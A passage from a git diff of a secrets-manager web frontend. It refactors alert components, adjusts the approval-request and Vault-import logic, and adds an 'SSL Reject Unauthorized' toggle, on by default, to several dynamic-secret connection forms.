+            name: `${environment.name} / ${rotation.name}`,
+            message: errorMessage,
+            status: MoveResult.Error,
+            id: `${environment.id}-${rotation.id}`
+          });
+        }
       }
     }
 
@@ -551,7 +674,7 @@ const MultiEnvContent = ({
     return <MoveResultsView moveResults={moveResults} onComplete={onComplete} />;
   }
 
-  if (moveSecrets.isPending) {
+  if (moveSecrets.isPending || moveSecretRotation.isPending) {
     return (
       <div className="flex h-full flex-col items-center justify-center py-2.5">
         <LoaderCircleIcon className="size-8 animate-spin text-accent" />
@@ -562,12 +685,10 @@ const MultiEnvContent = ({
 
   return (
     <form onSubmit={handleSubmit(handleFormSubmit)}>
-      <UnstableAlert variant="info" className="mb-4">
+      <Alert variant="info" className="mb-4">
         <InfoIcon />
-        <UnstableAlertDescription>
-          Select a single environment to move secrets across environments.
-        </UnstableAlertDescription>
-      </UnstableAlert>
+        <AlertTitle>Select a single environment to move secrets across environments.</AlertTitle>
+      </Alert>
       <Field>
         <FieldLabel>Secret Path</FieldLabel>
         <FieldContent>
@@ -583,24 +704,17 @@ const MultiEnvContent = ({
         </FieldContent>
       </Field>
       {Boolean(environmentsToBeSkipped.length) && (
-        <div className="mt-4 rounded-sm bg-mineshaft-900 px-3 py-2">
-          <span className="text-sm text-yellow">
-            <FontAwesomeIcon icon={faWarning} className="mr-0.5" /> The following environments will
-            not be affected
-          </span>
-          {environmentsToBeSkipped.map((env) => (
-            <div
-              key={env.id}
-              className={`${env.type === "permission" ? "text-red" : "text-mineshaft-300"} mb-0.5 flex items-start gap-2 text-sm`}
-            >
-              <FontAwesomeIcon
-                className="mt-1"
-                icon={env.type === "permission" ? faBan : faEyeSlash}
-              />
-              <span>{env.message}</span>
-            </div>
-          ))}
-        </div>
+        <Alert variant="danger" className="mt-4">
+          <CircleAlertIcon />
+          <AlertTitle>The following environments will not be affected</AlertTitle>
+          <AlertDescription>
+            <ul className="list-disc pl-4">
+              {environmentsToBeSkipped.map((env) => (
+                <li key={env.id}>{env.message}</li>
+              ))}
+            </ul>
+          </AlertDescription>
+        </Alert>
       )}
       <Controller
         control={control}
diff --git a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/index.ts b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/index.ts
index 2189b40e8ee..433ba042f00 100644
--- a/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/index.ts
+++ b/frontend/src/pages/secret-manager/OverviewPage/components/SelectionPanel/components/index.ts
@@ -1,2 +1,3 @@
 export * from "./BulkDeleteDialog";
+export * from "./BulkTagDialog";
 export * from "./MoveSecretsDialog";
diff --git a/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/AccessApprovalRequest.tsx b/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/AccessApprovalRequest.tsx
index 20e2b6028f8..eeb320ca341 100644
--- a/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/AccessApprovalRequest.tsx
+++ b/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/AccessApprovalRequest.tsx
@@ -633,9 +633,7 @@ export const AccessApprovalRequest = ({
 
       {!!selectedRequest && (
         <ReviewAccessRequestModal
-          selectedEnvSlug={envFilter}
           policies={policies || []}
-          selectedRequester={requestedByFilter}
           projectSlug={projectSlug}
           request={selectedRequest}
           members={members || []}
diff --git a/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/components/ReviewAccessModal.tsx b/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/components/ReviewAccessModal.tsx
index eba26133521..28ec5466c9f 100644
--- a/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/components/ReviewAccessModal.tsx
+++ b/frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/components/ReviewAccessModal.tsx
@@ -94,8 +94,6 @@ export const ReviewAccessRequestModal = ({
   onOpenChange,
   request,
   projectSlug,
-  selectedRequester,
-  selectedEnvSlug,
   canBypass,
   policies = [],
   members = [],
@@ -110,8 +108,6 @@ export const ReviewAccessRequestModal = ({
     isApprover: boolean;
   };
   projectSlug: string;
-  selectedRequester: string | undefined;
-  selectedEnvSlug: string | undefined;
   canBypass: boolean;
   policies: TAccessApprovalPolicy[];
   members: TWorkspaceUser[];
@@ -216,8 +212,6 @@ export const ReviewAccessRequestModal = ({
           requestId: request.id,
           status,
           projectSlug,
-          envSlug: selectedEnvSlug,
-          requestedBy: selectedRequester,
           bypassReason: bypassApproval ? bypassReason : undefined
         });
 
@@ -234,15 +228,7 @@ export const ReviewAccessRequestModal = ({
       setIsLoading(null);
       onOpenChange(false);
     },
-    [
-      bypassApproval,
-      bypassReason,
-      reviewAccessRequest,
-      request,
-      selectedEnvSlug,
-      selectedRequester,
-      onOpenChange
-    ]
+    [bypassApproval, bypassReason, reviewAccessRequest, request, onOpenChange]
   );
 
   const handleRevoke = useCallback(async () => {
diff --git a/frontend/src/pages/secret-manager/SecretApprovalsPage/components/SecretApprovalRequest/components/SecretApprovalRequestChanges.tsx b/frontend/src/pages/secret-manager/SecretApprovalsPage/components/SecretApprovalRequest/components/SecretApprovalRequestChanges.tsx
index a26977e2421..64cc5691257 100644
--- a/frontend/src/pages/secret-manager/SecretApprovalsPage/components/SecretApprovalRequest/components/SecretApprovalRequestChanges.tsx
+++ b/frontend/src/pages/secret-manager/SecretApprovalsPage/components/SecretApprovalRequest/components/SecretApprovalRequestChanges.tsx
@@ -188,7 +188,8 @@ export const SecretApprovalRequestChanges = ({ approvalRequestId, onGoBack }: Pr
     await updateSecretApprovalRequestStatus({
       id: approvalRequestId,
       status,
-      comment
+      comment,
+      projectId
     });
     createNotification({
       type: "success",
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/ActionBar.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/ActionBar.tsx
index 502767b7d29..8552c821fd7 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/ActionBar.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/ActionBar.tsx
@@ -86,11 +86,11 @@ import {
   fetchDashboardProjectSecretsByKeys
 } from "@app/hooks/api/dashboard/queries";
 import { UsedBySecretSyncs } from "@app/hooks/api/dashboard/types";
+import { useGetExternalMigrationConfigs, useImportVaultSecrets } from "@app/hooks/api/migration";
 import {
-  useGetVaultExternalMigrationConfigs,
-  useImportVaultSecrets
-} from "@app/hooks/api/migration";
-import { VaultImportStatus } from "@app/hooks/api/migration/types";
+  ExternalMigrationImportStatus,
+  ExternalMigrationProviders
+} from "@app/hooks/api/migration/types";
 import { secretApprovalRequestKeys } from "@app/hooks/api/secretApprovalRequest/queries";
 import { PendingAction } from "@app/hooks/api/secretFolders/types";
 import { fetchProjectSecrets, secretKeys } from "@app/hooks/api/secrets/queries";
@@ -210,7 +210,9 @@ export const ActionBar = ({
   const isMultiSelectActive = Boolean(Object.keys(selectedSecrets).length);
 
   const { permission } = useProjectPermission();
-  const { data: vaultConfigs = [] } = useGetVaultExternalMigrationConfigs();
+  const { data: vaultConfigs = [] } = useGetExternalMigrationConfigs(
+    ExternalMigrationProviders.Vault
+  );
   const hasVaultConnection = vaultConfigs.some((config) => config.connectionId);
   const { hasOrgRole } = useOrgPermission();
   const isOrgAdmin = hasOrgRole(OrgMembershipRole.Admin);
@@ -650,8 +652,10 @@ export const ActionBar = ({
       queryClient.invalidateQueries({
         queryKey: secretApprovalRequestKeys.count({ projectId })
       });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
 
-      // Close the modal and show notification
       handlePopUpClose("confirmUpload");
       createNotification({
         type: "success",
@@ -668,24 +672,30 @@ export const ActionBar = ({
     }
   };
 
-  const handleVaultImport = async (vaultPath: string, namespace: string) => {
-    const result = await importVaultSecrets({
+  const handleVaultImport = async (vaultPaths: string[], namespace: string) => {
+    const { status } = await importVaultSecrets({
       projectId,
       environment,
       secretPath,
       vaultNamespace: namespace,
-      vaultSecretPath: vaultPath
+      vaultSecretPaths: vaultPaths
     });
 
-    if (result.status === VaultImportStatus.ApprovalRequired) {
+    if (status === ExternalMigrationImportStatus.ApprovalRequired) {
       createNotification({
         type: "info",
-        text: "Secret change request created successfully. Awaiting approval."
+        text:
+          vaultPaths.length > 1
+            ? `Secret change request created for ${vaultPaths.length} Vault paths. Awaiting approval.`
+            : "Secret change request created successfully. Awaiting approval."
       });
     } else {
       createNotification({
         type: "success",
-        text: "Successfully imported secrets from HashiCorp Vault"
+        text:
+          vaultPaths.length > 1
+            ? `Successfully imported secrets from ${vaultPaths.length} HashiCorp Vault paths`
+            : "Successfully imported secrets from HashiCorp Vault"
       });
     }
   };
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AwsElastiCacheInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AwsElastiCacheInputForm.tsx
index 48bd2012b40..84a3ba0cdda 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AwsElastiCacheInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AwsElastiCacheInputForm.tsx
@@ -13,7 +13,6 @@ import {
   FilterableSelect,
   FormControl,
   Input,
-  SecretInput,
   TextArea
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
@@ -28,8 +27,7 @@ const formSchema = z.object({
 
     region: z.string().trim(),
     creationStatement: z.string().trim(),
-    revocationStatement: z.string().trim(),
-    ca: z.string().optional()
+    revocationStatement: z.string().trim()
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -246,23 +244,6 @@ export const AwsElastiCacheInputForm = ({
                 />
               </div>
               <div>
-                <Controller
-                  control={control}
-                  name="provider.ca"
-                  render={({ field, fieldState: { error } }) => (
-                    <FormControl
-                      isOptional
-                      label="CA(SSL)"
-                      isError={Boolean(error?.message)}
-                      errorText={error?.message}
-                    >
-                      <SecretInput
-                        {...field}
-                        containerClassName="text-bunker-300 hover:border-primary-400/50 border border-mineshaft-600 bg-mineshaft-900 px-2 py-1.5"
-                      />
-                    </FormControl>
-                  )}
-                />
                 <Accordion type="single" collapsible className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advance-statements">
                     <AccordionTrigger>Modify ElastiCache Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AzureSqlDatabaseInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AzureSqlDatabaseInputForm.tsx
index 954aed3ba02..edad7d97357 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AzureSqlDatabaseInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AzureSqlDatabaseInputForm.tsx
@@ -1,4 +1,6 @@
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useQuery } from "@tanstack/react-query";
 import ms from "ms";
@@ -68,6 +70,7 @@ const formSchema = z.object({
     renewStatement: z.string().optional(),
     sslEnabled: z.boolean().optional(),
     ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true),
     gatewayId: z.string().optional()
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
@@ -138,6 +141,7 @@ export const AzureSqlDatabaseInputForm = ({
       provider: {
         port: 1433,
         ...getDefaultAzureSqlStatements(),
+        sslRejectUnauthorized: true,
         passwordRequirements: {
           length: 48,
           required: {
@@ -401,23 +405,60 @@ export const AzureSqlDatabaseInputForm = ({
                   />
                 </div>
                 {sslEnabled && (
-                  <Controller
-                    control={control}
-                    name="provider.ca"
-                    render={({ field, fieldState: { error } }) => (
-                      <FormControl
-                        isOptional
-                        label="CA (SSL)"
-                        isError={Boolean(error?.message)}
-                        errorText={error?.message}
-                      >
-                        <SecretInput
-                          {...field}
-                          containerClassName="text-bunker-300 hover:border-primary-400/50 border border-mineshaft-600 bg-mineshaft-900 px-2 py-1.5"
-                        />
-                      </FormControl>
-                    )}
-                  />
+                  <>
+                    <Controller
+                      control={control}
+                      name="provider.ca"
+                      render={({ field, fieldState: { error } }) => (
+                        <FormControl
+                          isOptional
+                          label="CA (SSL)"
+                          isError={Boolean(error?.message)}
+                          errorText={error?.message}
+                        >
+                          <SecretInput
+                            {...field}
+                            containerClassName="text-bunker-300 hover:border-primary-400/50 border border-mineshaft-600 bg-mineshaft-900 px-2 py-1.5"
+                          />
+                        </FormControl>
+                      )}
+                    />
+                    <Controller
+                      name="provider.sslRejectUnauthorized"
+                      control={control}
+                      render={({ field: { value, onChange }, fieldState: { error } }) => (
+                        <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                          <Switch
+                            className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                            id="ssl-reject-unauthorized"
+                            thumbClassName="bg-mineshaft-800"
+                            isChecked={value}
+                            onCheckedChange={onChange}
+                          >
+                            <p className="w-full">
+                              SSL Reject Unauthorized
+                              <Tooltip
+                                className="max-w-md"
+                                content={
+                                  <p>
+                                    If enabled, the server certificate will be verified against the
+                                    list of supplied CAs. Disable this option if you are using a
+                                    self-signed certificate.
+                                  </p>
+                                }
+                              >
+                                <FontAwesomeIcon
+                                  icon={faQuestionCircle}
+                                  size="sm"
+                                  className="ml-1"
+                                />
+                              </Tooltip>
+                            </p>
+                          </Switch>
+                        </FormControl>
+                      )}
+                    />
+                  </>
                 )}
                 <Accordion type="multiple" className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advanced">
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/CassandraInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/CassandraInputForm.tsx
index e3b08f72a56..b9cf852c0a5 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/CassandraInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/CassandraInputForm.tsx
@@ -1,5 +1,7 @@
 import { useState } from "react";
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -16,7 +18,9 @@ import {
   FormControl,
   Input,
   SecretInput,
-  TextArea
+  Switch,
+  TextArea,
+  Tooltip
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
 import { DynamicSecretProviders } from "@app/hooks/api/dynamicSecret/types";
@@ -38,7 +42,8 @@ const formSchema = z.object({
     creationStatement: z.string().min(1),
     revocationStatement: z.string().min(1),
     renewStatement: z.string().optional(),
-    ca: z.string().optional()
+    ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true)
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -100,7 +105,7 @@ export const CassandraInputForm = ({
   } = useForm<TForm>({
     resolver: zodResolver(formSchema),
     defaultValues: {
-      provider: getSqlStatements(),
+      provider: { ...getSqlStatements(), sslRejectUnauthorized: true },
       environment: isSingleEnvironmentMode ? environments[0] : undefined,
       usernameTemplate: "{{randomUsername}}"
     }
@@ -397,6 +402,37 @@ export const CassandraInputForm = ({
                     </FormControl>
                   )}
                 />
+                <Controller
+                  name="provider.sslRejectUnauthorized"
+                  control={control}
+                  render={({ field: { value, onChange }, fieldState: { error } }) => (
+                    <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                      <Switch
+                        className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                        id="ssl-reject-unauthorized"
+                        thumbClassName="bg-mineshaft-800"
+                        isChecked={value}
+                        onCheckedChange={onChange}
+                      >
+                        <p className="w-full">
+                          SSL Reject Unauthorized
+                          <Tooltip
+                            className="max-w-md"
+                            content={
+                              <p>
+                                If enabled, the server certificate will be verified against the list
+                                of supplied CAs. Disable this option if you are using a self-signed
+                                certificate.
+                              </p>
+                            }
+                          >
+                            <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                          </Tooltip>
+                        </p>
+                      </Switch>
+                    </FormControl>
+                  )}
+                />
                 <Accordion type="single" collapsible className="mb-2 w-full bg-mineshaft-700">
                   <AccordionItem value="advance-statements">
                     <AccordionTrigger>Modify CQL Statements</AccordionTrigger>
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/ElasticSearchInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/ElasticSearchInputForm.tsx
index d6477862b77..5365b2d6f84 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/ElasticSearchInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/ElasticSearchInputForm.tsx
@@ -1,5 +1,5 @@
 import { Controller, useForm } from "react-hook-form";
-import { faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { faPlus, faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
@@ -15,7 +15,9 @@ import {
   Input,
   SecretInput,
   Select,
-  SelectItem
+  SelectItem,
+  Switch,
+  Tooltip
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
 import { DynamicSecretProviders } from "@app/hooks/api/dynamicSecret/types";
@@ -53,7 +55,8 @@ const formSchema = z.object({
     ]),
 
     roles: z.array(z.string().trim().min(1)).min(1, "At least one role is required"),
-    ca: z.string().optional()
+    ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true)
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -110,7 +113,8 @@ export const ElasticSearchInputForm = ({
           type: "user"
         },
         roles: ["superuser"],
-        port: 443
+        port: 443,
+        sslRejectUnauthorized: true
       },
       environment: isSingleEnvironmentMode ? environments[0] : undefined,
       usernameTemplate: "{{randomUsername}}"
@@ -415,6 +419,37 @@ export const ElasticSearchInputForm = ({
                   )}
                 />
               </div>
+              <Controller
+                name="provider.sslRejectUnauthorized"
+                control={control}
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="ssl-reject-unauthorized"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={value}
+                      onCheckedChange={onChange}
+                    >
+                      <p className="w-full">
+                        SSL Reject Unauthorized
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <p>
+                              If enabled, the server certificate will be verified against the list
+                              of supplied CAs. Disable this option if you are using a self-signed
+                              certificate.
+                            </p>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </FormControl>
+                )}
+              />
               <Controller
                 control={control}
                 name="usernameTemplate"
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/KubernetesInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/KubernetesInputForm.tsx
index 6708495018d..0f335a06b84 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/KubernetesInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/KubernetesInputForm.tsx
@@ -65,6 +65,7 @@ const formSchema = z
         clusterToken: z.string().trim().optional(),
         ca: z.string().optional(),
         sslEnabled: z.boolean().default(false),
+        sslRejectUnauthorized: z.boolean().default(true),
         credentialType: z.literal(KubernetesDynamicSecretCredentialType.Static),
         serviceAccountName: z.string().trim().min(1),
         namespace: z
@@ -84,6 +85,7 @@ const formSchema = z
         clusterToken: z.string().trim().optional(),
         ca: z.string().optional(),
         sslEnabled: z.boolean().default(false),
+        sslRejectUnauthorized: z.boolean().default(true),
         credentialType: z.literal(KubernetesDynamicSecretCredentialType.Dynamic),
         namespace: z
           .string()
@@ -183,6 +185,7 @@ export const KubernetesInputForm = ({
         clusterToken: "",
         ca: "",
         sslEnabled: false,
+        sslRejectUnauthorized: true,
         serviceAccountName: "",
         namespace: "",
         credentialType: KubernetesDynamicSecretCredentialType.Static,
@@ -499,6 +502,41 @@ export const KubernetesInputForm = ({
                         </FormControl>
                       )}
                     />
+                    <Controller
+                      name="provider.sslRejectUnauthorized"
+                      control={control}
+                      render={({ field: { value, onChange }, fieldState: { error } }) => (
+                        <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                          <Switch
+                            className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                            id="ssl-reject-unauthorized"
+                            thumbClassName="bg-mineshaft-800"
+                            isChecked={value}
+                            onCheckedChange={onChange}
+                          >
+                            <p className="w-full">
+                              SSL Reject Unauthorized
+                              <Tooltip
+                                className="max-w-md"
+                                content={
+                                  <p>
+                                    If enabled, the server certificate will be verified against the
+                                    list of supplied CAs. Disable this option if you are using a
+                                    self-signed certificate.
+                                  </p>
+                                }
+                              >
+                                <FontAwesomeIcon
+                                  icon={faQuestionCircle}
+                                  size="sm"
+                                  className="ml-1"
+                                />
+                              </Tooltip>
+                            </p>
+                          </Switch>
+                        </FormControl>
+                      )}
+                    />
                   </>
                 )}
                 {authMethod === AuthMethod.Api && (
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/LdapInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/LdapInputForm.tsx
index 8954e27912e..5c1ec1b163a 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/LdapInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/LdapInputForm.tsx
@@ -1,5 +1,7 @@
 import { useState } from "react";
 import { Controller, useForm } from "react-hook-form";
+import { faQuestionCircle } from "@fortawesome/free-solid-svg-icons";
+import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -13,7 +15,9 @@ import {
   Input,
   Select,
   SelectItem,
-  TextArea
+  Switch,
+  TextArea,
+  Tooltip
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
 import { DynamicSecretProviders } from "@app/hooks/api/dynamicSecret/types";
@@ -47,6 +51,7 @@ const formSchema = z.object({
       binddn: z.string().trim().min(1),
       bindpass: z.string().trim().min(1),
       ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().default(true),
       credentialType: z.literal(CredentialType.Dynamic),
       creationLdif: z.string().min(1),
       revocationLdif: z.string().min(1),
@@ -57,6 +62,7 @@ const formSchema = z.object({
       binddn: z.string().trim().min(1),
       bindpass: z.string().trim().min(1),
       ca: z.string().optional(),
+      sslRejectUnauthorized: z.boolean().default(true),
       credentialType: z.literal(CredentialType.Static),
       rotationLdif: z.string().min(1)
     })
@@ -120,6 +126,7 @@ export const LdapInputForm = ({
         binddn: "",
         bindpass: "",
         ca: "",
+        sslRejectUnauthorized: true,
         creationLdif: "",
         revocationLdif: "",
         rollbackLdif: "",
@@ -335,6 +342,38 @@ export const LdapInputForm = ({
                   )}
                 />
 
+                <Controller
+                  name="provider.sslRejectUnauthorized"
+                  control={control}
+                  render={({ field: { value, onChange }, fieldState: { error } }) => (
+                    <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                      <Switch
+                        className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                        id="ssl-reject-unauthorized"
+                        thumbClassName="bg-mineshaft-800"
+                        isChecked={value}
+                        onCheckedChange={onChange}
+                      >
+                        <p className="w-full">
+                          SSL Reject Unauthorized
+                          <Tooltip
+                            className="max-w-md"
+                            content={
+                              <p>
+                                If enabled, the server certificate will be verified against the list
+                                of supplied CAs. Disable this option if you are using a self-signed
+                                certificate.
+                              </p>
+                            }
+                          >
+                            <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                          </Tooltip>
+                        </p>
+                      </Switch>
+                    </FormControl>
+                  )}
+                />
+
                 <Controller
                   control={control}
                   name="provider.credentialType"
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/MongoDBInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/MongoDBInputForm.tsx
index 8099b123c4e..5c6e59eea58 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/MongoDBInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/MongoDBInputForm.tsx
@@ -1,5 +1,5 @@
 import { Controller, useFieldArray, useForm } from "react-hook-form";
-import { faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { faPlus, faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
@@ -13,7 +13,9 @@ import {
   FormLabel,
   IconButton,
   Input,
-  SecretInput
+  SecretInput,
+  Switch,
+  Tooltip
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
 import { DynamicSecretProviders } from "@app/hooks/api/dynamicSecret/types";
@@ -28,6 +30,7 @@ const formSchema = z.object({
     username: z.string().min(1),
     password: z.string().min(1),
     ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true),
     roles: z
       .object({
         roleName: z.string().min(1)
@@ -86,7 +89,8 @@ export const MongoDBDatabaseInputForm = ({
     resolver: zodResolver(formSchema),
     defaultValues: {
       provider: {
-        roles: [{ roleName: "readWrite" }]
+        roles: [{ roleName: "readWrite" }],
+        sslRejectUnauthorized: true
       },
       environment: isSingleEnvironmentMode ? environments[0] : undefined,
       usernameTemplate: "{{randomUsername}}"
@@ -338,6 +342,37 @@ export const MongoDBDatabaseInputForm = ({
                   )}
                 />
               </div>
+              <Controller
+                name="provider.sslRejectUnauthorized"
+                control={control}
+                render={({ field: { value, onChange }, fieldState: { error } }) => (
+                  <FormControl isError={Boolean(error?.message)} errorText={error?.message}>
+                    <Switch
+                      className="bg-mineshaft-400/50 shadow-inner data-[state=checked]:bg-green/80"
+                      id="ssl-reject-unauthorized"
+                      thumbClassName="bg-mineshaft-800"
+                      isChecked={value}
+                      onCheckedChange={onChange}
+                    >
+                      <p className="w-full">
+                        SSL Reject Unauthorized
+                        <Tooltip
+                          className="max-w-md"
+                          content={
+                            <p>
+                              If enabled, the server certificate will be verified against the list
+                              of supplied CAs. Disable this option if you are using a self-signed
+                              certificate.
+                            </p>
+                          }
+                        >
+                          <FontAwesomeIcon icon={faQuestionCircle} size="sm" className="ml-1" />
+                        </Tooltip>
+                      </p>
+                    </Switch>
+                  </FormControl>
+                )}
+              />
               <Controller
                 control={control}
                 name="usernameTemplate"
diff --git a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RabbitMqInputForm.tsx b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RabbitMqInputForm.tsx
index b142682dda1..042accc4030 100644
--- a/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RabbitMqInputForm.tsx
+++ b/frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/RabbitMqInputForm.tsx
@@ -1,5 +1,5 @@
 import { Controller, useForm } from "react-hook-form";
-import { faPlus, faTrash } from "@fortawesome/free-solid-svg-icons";
+import { faPlus, faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
@@ -13,7 +13,9 @@ import {
   FormLabel,
   IconButton,
   Input,
-  SecretInput
+  SecretInput,
+  Switch,
+  Tooltip
 } from "@app/components/v2";
 import { useCreateDynamicSecret } from "@app/hooks/api";
 import { DynamicSecretProviders } from "@app/hooks/api/dynamicSecret/types";
@@ -37,7 +39,8 @@ const formSchema = z.object({
         configure: z.string().trim().min(1)
       })
     }),
-    ca: z.string().optional()
+    ca: z.string().optional(),
+    sslRejectUnauthorized: z.boolean().default(true)
   }),
   defaultTTL: z.string().superRefine((val, ctx) => {
     const valMs = ms(val);
@@ -99,7 +102,8 @@ export const RabbitMqInputForm = ({
             configure: ".*"
           }
         },
-        tags: []
